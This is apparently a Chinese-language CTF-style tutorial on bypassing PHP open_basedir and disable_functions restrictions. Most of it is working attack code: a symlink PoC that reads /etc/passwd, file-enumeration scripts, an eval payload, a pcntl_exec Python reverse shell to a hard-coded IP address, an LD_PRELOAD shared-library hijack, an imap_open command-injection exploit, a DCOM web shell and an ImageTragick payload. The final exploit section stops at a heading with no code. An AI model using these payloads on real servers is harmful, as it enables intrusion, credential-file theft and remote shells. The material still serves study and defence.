php.ini相关配置绕过

PHP.ini相关配置绕过

本来想发两篇的,但是转念一想disable_function和open_basedir其实都是属于php配置层上的限制,于是就写了这篇文章直接一锅端

open_basedir

open_basedir是把可访问的文件限制在指定的范围下

file_get_contents,highlight_file这些函数都会受到限制。

系统命令函数绕过

能执行system这些函数基本就能绕过,但是大部分的时候被waf/受到了disable_function的限制

利用glob://绕过

glob://是查找匹配的文件路径模式,glob数据流包装器自 PHP 5.3.0 起开始有效。

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

需要配合其他函数来配合打组合技,单独的glob是不能绕过的

利用 DirectoryIterator+glob://

DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
脚本如下:

<?php
$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

利用 opendir()+readdir()+glob://

opendir作用为打开目录句柄
readdir作用为从目录句柄中读取目录

脚本如下

<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
        echo $file."<br>";
    }
    closedir($b);
}
?>

只能列目录,php7可以用如下方法读非根目录文件,glob:///*/www/../* 可列举 /var

利用 scandir()+glob://

直接命令执行

var_dump(scandir('glob:///*'));

利用symlink绕过

symlink函数创建一个从指定名称连接的现存目标文件开始的符号连接。

symlink(string $target, string $link): bool

而target一般受限于我们的open_basedir,v于是乎要想办法把首先的内容通过软链接带出到不受限的区域下

<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","SD");
symlink("SD/../../../../etc/passwd","POC");
unlink("SD");
mkdir("SD");
//file_get_contents('/var/www/html/SD');
?>

这是一个读取/etc/passwd的poc,原理相似的,我们也可以用它移动到其他的文件到open_basedir的范围内进行文件带出

至于原理直接引用这篇[博客](从0学习bypass open_basedir姿势-先知社区)的内容来进行解释

1.创建A/B/C/D目录,并返回到起始目录
2.symlink("A/B/C/D","SD"):创建符号文件SD,指向A/B/C/D
3.symlink("SD/../../../../etc/passwd","POC"):创建符号文件POC,指向SD/../../../../etc/passwd。此时SD=A/B/C/D,而A/B/C/D../../../../=/var/www/html,符合open_basedir的限制,创建成功。
4.unlink("SD"):删除软链接SD,并创建一个文件夹,此时SD作为一个真正的目录存在。那么访问POC,指向的是SD/../../../../etc/passwd,SD/../../../就是/var目录,/var/../etc/passwd恰好可以读取到etc目录下的passwd,从而达到跨目录访问的效果。

利用bindtextdomain和SplFileInfo方法

bindtextdomain设置或获取域名的路径,函数原型为:

bindtextdomain(string $domain, ?string $directory): string|false

利用原理是基于报错:bindtextdomain()函数的第二个参数directory是一个文件路径,它会在directory是一个文件路径,它会在directory存在的时候返回$directory,不存在则返回false。

Bindtextdomain函数在环境支持Gettext Functions的时候才能使用,而windows环境下一般是没有bindtextdomain函数的,linux环境是默认存在这个函数。image-20250910171344853

SplFileInfo函数进行的操作类似。

poc

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>

如果访问到存在的文件就会返回该文件的路径,如果是不存在的路径就会返回false

有点鸡肋但是爆爆还是可以出来

利用SplFileInfo::getRealPath()方法

(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口。
而其中getRealPath()用于获取文件的绝对路径。bypass原理同样是基于报错,该方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir的设定。

可以用这个脚本来尝试遍历

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s \n", ini_get('open_basedir'));
$basedir = "D:/phpstudy_pro/WWW/debug.io/";
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
    $info = new SplFileInfo($basedir . $chars[$i] . '<<');
    $re = $info->getRealPath();
    if ($re) {
        echo $re."\n";
    }
}

利用realpath列目录

要求环境是Windows

realpath()返回规范化的绝对路径名,它可以去掉多余的…/或./等跳转字符,能将相对路径转换成绝对路径。

realpath(string $path): string|false

如果我们传入一个不在open_basedir里的文件的话,他就会返回file is not within the allowed path(s),有点像盲注,基于报错来判断文件名

可以用这个脚本来尝试遍历

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'D:/phpstudy_pro/WWW/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
        $file = $dir . $chars[$i] . '<><';
        realpath($file);
}
function isexists($errno, $errstr)
{
        $regexp = '/File\((.*)\) is not within/';
        preg_match($regexp, $errstr, $matches);
        if (isset($matches[1])) {
                printf("%s <br/>", $matches[1]);
        }
}
?>

这里要注意dir千万不能是当前open_basedir目录及其子目录下的文件,因为他们的访问不会触发报错,也就不会被捕捉打印

GD库imageftbbox/imagefttext列举目录

GD库一般是PHP必备的扩展库之一

imageftbbox这个函数的第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候,当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。

也就是说,我们可以通过抛出错误的具体内容来判断一个文件是否存在。这个方法和realpath有相似性,都会抛出open_basedir的错误。

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    //$m = imagecreatefrompng("zip.png");
    //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
    imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
    global $file;
    if (stripos($errstr, 'Invalid font filename') === FALSE) {
        printf("%s<br/>", $file);
    }
}
?>

但是我在本地没跑出来,不知道为什么…

利用chdir与ini_set

chdir我已经在无参数RCE中有所提及了,将工作目录切换到指定的目录

函数原型  chdir(string $directory): bool

ini_seti用来设置php.ini的值,无需打开php.ini文件,就能修改配置。函数原型为:

ini_set(string $option, string $value): string|false

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。

通过在eval中传入以下payload就可以

mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=file_get_contents('/etc/passwd');var_dump($a);

Curl绕过

$ch = curl_init('file:///etc/passwd');
curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
echo $data;
curl_close($ch);

一键打爆

经过测试Apache是不行的,php-fpm可以,但是特定版本8.3,具体我也没仔细研究过

参考这[题](LilCTF Web php-jail-is-my-cry 出题小记 - Kengwang 博客)的配置吧

disable_function绕过

网上找了找文章,绕法是真的多

亿眼盯真

phpinfo()打开看看有没有遗漏的函数

再命令执行

可以看看有没有pcntl_exec这个插件

有的话就能利用它RCE

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用pcntl_exec()执行test.sh:

<?php
if(function_exists('pcntl_exec')) {
   pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
       echo 'pcntl extension is not support!';
}
?>
由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:

<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

利用 LD_PRELOAD 环境变量

LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库

  • dll = windows 的动态链接库文件 把一些功能函数封装在dll文件中,调用时导入调用即可
  • so = linux 动态链接库文件

总的来说就是=LD_PRELOAD指定的动态链接库文件,会在其它文件调用之前先被调用,借此可以达到劫持的效果

思路为:

  1. 创建一个.so文件,linux的动态链接库文件
  2. 使用putenv函数将LD_PRELOAD路径设置为我们自己创建的动态链接库文件
  3. 利用某个函数去触发该动态链接库

这里以mail()函数举例。
在底层c语言中,mail.c中会调用sendmail,而sendmail_path使从ini文件中说明

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i"). 
;sendmail_path =

默认为"sendmail -t -i"

phpini1

但是sendmail并不是默认安装的,需要自己下载

使用命令readelf -Ws /usr/sbin/sendmail可以看到sendmail调用了哪些库函数,这里选择geteuid

phpini2

phpini3

创建一个test.c文件,并定义一个geteuid函数,目的是劫持该函数。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
    system("whoami > /var/tmp/sd.txt");
}
int geteuid()
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

使用gcc编译为.so文件

gcc -fPIC -shared -o test.so test.c

这里有个坑:不要在windows上编译,编译出来是MZ头,不是ELF

然后再上传test.so到指定目录下。

最后创建shell.php文件,上传到网站目录下,这里.so文件路径要写对。

<?php
putenv("LD_PRELOAD=/var/www/test.so");
mail("","","","","");
?>

再理一下整个过程:当我们访问shell.php文件的时候,先会将LD_PRELOAD路径设置为恶意的.so文件,然后触发mail()函数,mail函数会调用sendmail函数,sendmail函数会调用库函数geteuid,而库函数geteuid已经被优先加载,这时执行geteuid就是执行的我们自己定义的函数,并执行payload(),也就是代码中的whoami命令写入到sd.txt中。

由于拿到的webshell很有可能是www-data这种普通权限。
整个过程要注意权限问题,要可写的目录下。

phpini4

web访问页面没有文件写出,可以看看定义的目录是否有权限

phpini5

演示图均来自这位[师傅](bypass disable_functions姿势总结-先知社区)

利用imap_open()绕过

利用条件需要安装iamp扩展,命令行输入:apt-get install php-imap
在php.ini中开启imap.enable_insecure_rsh选项为On;重启服务。

基本原理为:

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

EXP:

<?php 
error_reporting(0); 
if (!function_exists('imap_open')) { 
die("no imap_open function!"); 
} 
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}"; 
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}'; 
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error()); 
sleep(5); 
echo file_get_contents("/tmp/cmd_result"); 
?>

Windows组件DCOM绕过

phpinfo查一下com.allow_dcom是不是打开了,开了就可以用

通过已有的webshell传入

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

curl 任意库加载

上传恶意so文件加载共享库执行命令

可以使用

curl --engine 'pwd'/evil_engine.so https://example.com

或者

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/1.so");
$data = curl_exec($ch);
echo $data;
curl_close($ch);

蚁剑一把梭

会用就可以了,也不用去深度了解之类的

利用ImageMagick 漏洞绕过(CVE-2016–3714)

利用条件:

  • 目标主机安装了漏洞版本的imagemagick(<= 3.3.0)
  • 安装了php-imagick拓展并在php.ini中启用;
  • 编写php通过new Imagick对象的方式来处理图片等格式文件;
  • PHP >= 5.4

利用ImageTragick可以打RCE

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";

$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;

file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

BacktraceUAF

利用条件

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

利用漏洞
EXP